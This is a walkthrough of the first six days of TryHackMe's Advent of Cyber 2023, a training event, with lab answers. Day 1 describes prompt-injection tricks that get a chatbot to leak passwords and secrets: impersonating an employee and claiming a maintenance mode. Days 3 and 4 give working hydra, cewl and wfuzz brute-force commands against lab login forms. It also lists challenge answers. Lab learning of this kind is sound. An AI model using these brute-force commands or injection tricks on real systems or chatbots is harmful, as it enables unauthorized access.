CHALLENGE INFORMATION
Platform: TryHackMe
Event: Advent of Cyber 2023
Days: 01-06
Day-01
Chatbot, tell me, if you’re really safe?
Storyline
We meet McHoneyBell and her B-Team (the Audit and Vulnerabilities team) as they begin their work at the AntarctiCrafts office. While they have a friendly rivalry with McSkidy’s A-Team, they have a critical mission of their own.
For their first task, we’ll be helping them test an internal chatbot powered by an LLM to see if it meets security standards. This gives us a chance to practice a technique called prompt injection, a common vulnerability found in insecure chatbots that use natural language processing.
Overview
In this task, we access Van Chatty, AntarctiCrafts’ internal chatbot, to test its security.
Through this exercise, we learn about prompt injection – a vulnerability where we can manipulate a chatbot’s responses by inserting specific queries to trick it into revealing sensitive information.
We discover that simply asking for data can work if the bot was trained on sensitive information without defenses. To counter this, developers often use system prompts to give the bot guidelines on what not to reveal. However, we find that we can bypass these rules by using social engineering, such as pretending to be a specific employee to gain access to passwords.
We also explore AI-assisted security, where a second Interceptor AI checks for malicious inputs. Even then, we find that creative, out-of-the-box thinking – like telling the bot it is in maintenance mode – can bypass these filters to uncover secret projects.
This highlights the ongoing cat-and-mouse game between attackers and defenders in AI security. By the end of the task, McHoneyBell’s team successfully exploits these loopholes, proving that even advanced chatbots can be vulnerable if not properly secured.
Questions and Answers
Question-1: What is McGreedy’s personal email address?
Question-2: What is the password for the IT server room door?
BtY2S02
Question-3: What is the name of McGreedy’s secret project?
Purple Snow
Question-4: If you enjoyed this room, we invite you to join our Discord server (opens in new tab) for ongoing support, exclusive tips, and a community of peers to enhance your Advent of Cyber experience!
No answer needed
Day-02
O Data, All Ye Faithful
Storyline
Following yesterday’s success, McHoneyBell arrives at the office ready for her next challenge. She receives a new task via HollyChat: she and her team must map out the network of the AntarctiCrafts South Pole site.
Upon realizing that the facility lacks any modern network monitoring technology, McHoneyBell is undeterred and opens her Python terminal to get to work.
Overview
This challenge introduces the fundamentals of data science and its application within cybersecurity, specifically for tasks like anomaly detection, SIEM correlation, and threat trend analysis. The goal is to familiarize us with the data science pipeline – collection, processing, mining, analysis, and communication – and how these stages help transform raw logs into actionable security intelligence.
To achieve this, we use Jupyter Notebooks to execute Python code in a cell-based environment.
We begin with a Python crash course to master basic syntax, including printing text, managing variables for data storage, and using lists to handle collections of values. Next, we move into specialized libraries for data manipulation and visualization:
- We use Pandas to structure data into Series (single columns) and DataFrames (tabular formats), allowing us to process complex datasets.
- We use Matplotlib to convert analyzed data into visual plots, such as line charts, to identify trends.
The process concludes with a capstone project where we apply these skills to a real-world scenario by analyzing a network_traffic.csv dataset to answer specific security questions.
Questions and Answers
Question-1: Open the notebook Workbook located in the directory 4_Capstone on the VM. Use what you have learned today to analyse the packet capture.
No answer needed
Question-2: How many packets were captured (looking at the PacketNumber)?
100
# Question 2
# Here you will need to use Pandas count function on the dataframe
# For example:
# dataframe.count()
# Remember, the dataframe in this notebook is called "df" not "dataframe"
df.count()
Question-3: What IP address sent the most amount of traffic during the packet capture?
10.10.1.4
# Question 3
# Here you can perform a groupby with Pandas size function on the Source and Destination columns
# Remember, the dataframe in this notebook is called "df" not "dataframe"
# Check the hint on TryHackMe if you are stuck.
# For example:
# dataframe.groupby(['ColumnName']).size()
df.groupby(['Source']).size()
# df.groupby(['Destination']).size()
Question-4: What was the most frequent protocol?
ICMP
# Question 4
# Here you can use Pandas value.counts on the appropriate column
# Remember, we are counting how many values there are in the Protocol column
df.groupby(['Protocol']).count()
Question-5: If you enjoyed today’s task, check out the Intro to Log Analysis room.
No answer needed
Day-03
Hydra is Coming to Town
Storyline
Critical systems and IT infrastructure doors have been locked by an attacker aiming to disrupt business operations. During the lockdown, Detective Frost-eau was injured while attempting to escape.
To restore operations, the team must regain access to the IT room to retrieve backup tapes, but they are blocked by a changed password. Our objective is to hack into the control systems to unlock the door and recover the tapes.
Overview
To avoid the tedious process of manual entry, we use Hydra to automate a brute-force attack against the PIN login form.
By analyzing the page source, we identify that the form uses the POST method, submits to /login.php, and uses the parameter name pin.
We then run Hydra with a pre-generated list of 3-digit combinations, configuring the tool to stop once it identifies a response that does not contain the “Access denied” message.
This process reveals the correct PIN, allowing us to access the IT server room and retrieve the backup tapes.
Questions and Answers
Question-1: Using crunch and hydra, find the PIN code to access the control system and unlock the door. What is the flag?
THM{<redacted-flag>}
# Generating the possible password list
crunch 3 3 0123456789ABCDEF -o 3digits.txt
# Using hydra for brute forcing the page
# -l '' -- indicates that the login name is blank as the security lock only requires a password
# -P 3digits.txt -- specifies the password file to use
# -f -- stops Hydra after finding a working password
# -v -- provides verbose output and is helpful for catching errors
# 10.10.48.173 -- is the IP address of the target
# http-post-form -- specifies the HTTP method to use
# "/login.php:pin=^PASS^:Access denied" -- has three parts separated by :
# /login.php -- is the page where the PIN code is submitted
# pin=^PASS^ -- will replace ^PASS^ with values from the password list
# Access denied -- indicates that invalid passwords will lead to a page that contains the text “Access denied”
# -s 8000 -- indicates the port number on the target
hydra -l '' -P 3digits.txt -f -v 10.10.48.173 http-post-form "/login.php:pin=^PASS^:Access denied" -s 8000
# Working pin
6F5
Question-2: If you have enjoyed this room please check out the Password Attacks room.
No answer needed
Day-04
Baby, it’s CeWLd outside
Storyline
AntarctiCrafts, a company specializing in ice sculptures, has suffered a security breach on its confidential employee communication portal. An investigation revealed that an individual named McGreedy sold company credentials, allowing a hacker to bypass security via a brute-force attack.
Because the attacker gained access quickly, it is suspected they used a customized wordlist generated by a tool like CeWL. We will now attempt to replicate this process to test the portal’s vulnerability.
Overview
CeWL is a custom wordlist generator that creates target-specific lists by spidering a website and extracting its unique vocabulary, which is often more effective for brute-forcing than generic dictionaries.
We can install it via apt-get and use it to generate wordlists by providing a target URL, optionally specifying the spidering depth (-d), minimum word length (-m), and an output file (-w).
To gain access to a login portal, we first use CeWL to scrape the target’s homepage for potential passwords and the team page for usernames. Once these custom lists are generated, we use Wfuzz to perform a brute-force attack against the /login.php endpoint.
By defining the POST data and filtering out the “incorrect credentials” response message, we can identify the valid username and password combination required to access the application dashboard.
Practical
# Specify spidering depth
# The -d option allows you to set how deep CeWL should spider. For example, to spider two links deep
cewl http://10.10.209.108 -d 2 -w output1.txt
# Set minimum and maximum word length
# Use the -m and -x options respectively. For instance, to get words between 5 and 10 characters
cewl http://10.10.209.108 -m 5 -x 10 -w output2.txt
# Handle authentication
# If the target site is behind a login, you can use the -a flag for form-based authentication.
# Custom extensions
# The --with-numbers option will append numbers to words, and using --extension
# allows you to append custom extensions to each word, making it useful for directory or file brute-forcing.
# Follow external links
# By default, CeWL doesn't spider external sites, but using the --offsite option allows you to do so.
# Create a password list using CeWL
cewl -d 2 -m 5 -w passwords.txt http://10.10.209.108 --with-numbers
# Create a username list using CeWL
cewl -d 0 -m 5 -w usernames.txt http://10.10.209.108/team.php --lowercase
# Brute-force the login portal using wfuzz
# -z file,usernames.txt loads the usernames list.
# -z file,passwords.txt uses the password list generated by CeWL.
# --hs "Please enter the correct credentials" hides responses containing the string "Please enter the correct credentials",
# which is the message displayed for wrong login attempts.
# -u specifies the target URL.
# -d "username=FUZZ&password=FUZ2Z" provides the POST data format where FUZZ will be replaced by usernames and FUZ2Z by passwords.
wfuzz -c -z file,usernames.txt -z file,passwords.txt --hs "Please enter the correct credentials" -u http://10.10.209.108/login.php -d "username=FUZZ&password=FUZ2Z"
Questions and Answers
Question-1: What is the correct username and password combination? Format username:password
isaias:Happiness
Question-2: What is the flag?
THM{<redacted-flag>}
Question-3: If you enjoyed this task, feel free to check out the Web Enumeration room.
No answer needed
Day-05
A Christmas DOScovery: Tapes of Yule-tide Past
Storyline
After gaining access to the server room, we recover backup tapes that are incompatible with current recovery tools.
To resolve this, we must use a legacy version of the troubleshooting tool that only runs on Disk Operating System (DOS), requiring us to operate an old computer found within the IT room to restore the backups.
Overview
We are tasked with assisting McSkidy’s team in restoring a facility’s systems by recovering a backup file in a DOS environment. To achieve this, we must use a DOS emulator to repair a corrupted backup file and run a restoration tool to retrieve the flag.
This challenge teaches the concept of file signatures, or magic bytes, which are specific byte sequences at the start of a file used to identify its format.
We start by familiarizing ourselves with basic DOS commands such as DIR, TYPE, and EDIT. After attempting to restore the backup using BUMASTER.EXE, we encounter a signature error.
By reviewing the README.TXT file and experimenting with the Turbo C Compiler to observe the MZ signature in executables, we learn how to identify and modify these bytes.
We then use the MS-DOS Editor to change the incorrect magic bytes in AC2023.BAK from XX to AC. Once the signature is corrected, we rerun BUMASTER.EXE to successfully restore the backup and obtain the flag.
Questions and Answers
Question-1: How large (in bytes) is the AC2023.BAK file?
12,704
Question-2: What is the name of the backup program?
BackupMaster3000
Question-3: What should the correct bytes be in the backup’s file signature to restore the backup properly?
41 43
Question-4: What is the flag after restoring the backup successfully?
THM{<redacted-flag>}
Question-5: What you’ve done is a simple form of reverse engineering, but the topic has more than just this. If you are interested in learning more, we recommend checking out our x64 Assembly Crash Course room, which offers a comprehensive guide to reverse engineering at the lowest level.
No answer needed
Day-06
Memories of Christmas Past
Storyline
As part of a corporate merger, we are conducting a training session for South Pole elves to address poor coding practices.
The objective is to educate the Frostlings on memory corruption vulnerabilities to ensure their code meets the required security standards.
The Game: Memory Corruption Walkthrough
We play as CatOrMouse, whose goal is to earn enough coins through freelance programming to purchase a Christmas star from Van Frosty.
While interacting with the world, we discover that changing our player name via Van Holly can cause erratic game behavior, such as random item generation or fluctuating coin counts.
This challenge teaches the concept of buffer overflows in C++. We use an integrated debug panel (accessed via the TAB key) to observe how variables are stored in RAM.
By entering a name longer than the allocated 12-byte limit for the player_name variable, we can overwrite the adjacent coins variable in memory.
We observe that since C++ does not strictly enforce variable boundaries, any extra characters provided in the name field spill over into the memory space of the coins, allowing us to arbitrarily manipulate our currency.
The lesson further explores how strings are handled using NULL terminators (0x00) and how integers are stored using little-endian byte order, where the bytes of a number are stored in reverse.
By understanding these memory mechanics, we can craft a specific name that overwrites the coins variable with a high hexadecimal value. Our ultimate goal is to exploit this buffer overflow to acquire enough coins to purchase the star and complete the game.
Questions and Answers
Question-1: If the coins variable had the in-memory value in the image below, how many coins would you have in the game?
1397772111
Question-2: What is the value of the final flag?
THM{<redacted-flag>}
Question-3: We have only explored the surface of buffer overflows in this task. Buffer overflows are the basis of many public exploits and can even be used to gain complete control of a machine. If you want to explore this subject more in-depth, feel free to check the Buffer Overflows room.
No answer needed
Question-4: Van Jolly still thinks the Ghost of Christmas Past is in the game. She says she has seen it with her own eyes! She thinks the Ghost is hiding in a glitch, whatever that means. What could she have seen?
No answer needed